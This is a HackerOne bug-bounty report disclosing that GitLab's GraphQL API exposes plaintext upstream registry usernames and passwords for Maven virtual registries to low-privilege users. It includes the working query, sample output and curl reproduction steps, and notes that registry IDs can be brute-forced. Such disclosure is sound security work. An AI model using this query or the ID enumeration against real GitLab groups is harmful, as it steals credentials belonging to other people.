Virtual registry password leak through GraphQL to low privilege users
HackerOne report #3323573 by joaxcar on 2025-09-02, assigned to @danielhauenstein:
Report
Summary
When creating a Virtual registry for a group a group owner will add up to 20 upstream registries for gitlab to access. These registries can be password protected, using username and password that is configured by the group owner at congifration.
The username and password should be secret but can be retrieved by any user with guest access to at least one project in the group. This includes passwords for any group that has at least one public project, in this case any user can access this data as they have implicit guest role.
This graphql query
{mavenVirtualRegistry(id:"gid://gitlab/VirtualRegistries::Packages::Maven::Registry/1000272"){
name
description
id
updatedAt
upstreams {
id
password
username
url
}
}}
will return this data (from my public project here https://gitlab.com/joaxcar-13-ultimate-17-3/test
{
"data": {
"mavenVirtualRegistry": {
"name": "test",
"description": null,
"id": "gid://gitlab/VirtualRegistries::Packages::Maven::Registry/1000272",
"updatedAt": "2025-09-02T10:29:18Z",
"upstreams": [
{
"id": "gid://gitlab/VirtualRegistries::Packages::Maven::Upstream/1000506",
"password": "<upstream_password>",
"username": "<upstream_username>",
"url": "https://test.se"
},
{
"id": "gid://gitlab/VirtualRegistries::Packages::Maven::Upstream/1000507",
"password": "secret@passw0rD",
"username": "My username",
"url": "https://test.se"
}
]
}
},
"correlationId": "3f9039200f227395a3c7029a6753a6a8"
}
Steps to reproduce
- Create a new
publicgroup on gitlab.com with ultimate license, note the ID - Create a new
publicproject in the new group - Create a personal access token for your user
- Run this in a terminal replacing
GROUP_IDandTOKEN
curl --fail-with-body \
--request POST -H "Content-Type: application/json" \
--header "Authorization: Bearer TOKEN" \
--data '{"name": "test"}' \
--url "https://gitlab.com/api/v4/groups/GROUP_ID/-/virtual_registries/packages/maven/registries"
- Take a note of the
IDreturned for thevirtual registry - Now run this (replace TOKEN, and REGISTRY_ID)
curl --fail-with-body \
--request POST \
--header "Authorization: Bearer TOKEN" -H "Content-Type: application/json" \
--data '{ "name": "One upstream", "url": "https://example.com", "username": "My username", "password": "secret@passw0rD", "cache_validity_hours": 1 }' \
--url "https://gitlab.com/api/v4/virtual_registries/packages/maven/registries/REGISTRY_ID/upstreams"
- Now log in to gitlab as another user
- Go to https://gitlab.com/-/graphql-explorer
- Paste this query and replace the REGISTRY_ID with the one from step 5
{mavenVirtualRegistry(id:"gid://gitlab/VirtualRegistries::Packages::Maven::Registry/REGISTRY_ID"){
upstreams {
password
username
url
}
}}
You should now see username and password in plain text. Note that the registry id is incremental and can be brute forced.
Impact
Leakage of Maven credentials can in best case only be a data leak, and in the worst case lead to RCE in projects if the username and password is not only read restricted
What is the current bug behavior?
password field is not redacted
What is the expected correct behavior?
password field should be redacted, even for Owners
Output of checks
This bug happens on GitLab.com
Impact
Leakage of Maven credentials can in best case only be a data leak, and in the worst case lead to RCE in projects if the username and password is not only read restricted
How To Reproduce
Please add reproducibility information to this section: